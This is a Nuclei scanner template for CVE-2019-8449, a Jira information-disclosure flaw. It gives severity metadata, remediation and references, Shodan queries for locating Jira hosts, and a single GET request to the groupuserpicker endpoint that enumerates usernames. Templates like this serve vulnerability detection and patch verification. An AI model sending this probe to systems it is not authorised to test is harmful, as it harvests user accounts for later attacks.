id: CVE-2019-8449

info:
  name: Jira <8.4.0 - Information Disclosure
  author: harshbothra_
  severity: medium
  description: Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information.
  remediation: |
    Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.
  reference:
    - https://www.doyler.net/security-not-included/more-jira-enumeration
    - https://jira.atlassian.com/browse/JRASERVER-69796
    - http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-8449
    cwe-id: CWE-306
    epss-score: 0.7108
    epss-percentile: 0.9873
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,disclosure,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"users":{"users":'

      - type: status
        status:
          - 200
# digest: 490a0046304402207eee442e416a89d423bea70a40e920572a4fb48e9f71db44312e5d83146f186e0220182af1f8158488e00865d4e87d828621d5452b6838e4c900ede9a76cc7f8a972:922c64590222798bb761d5b6d8e72950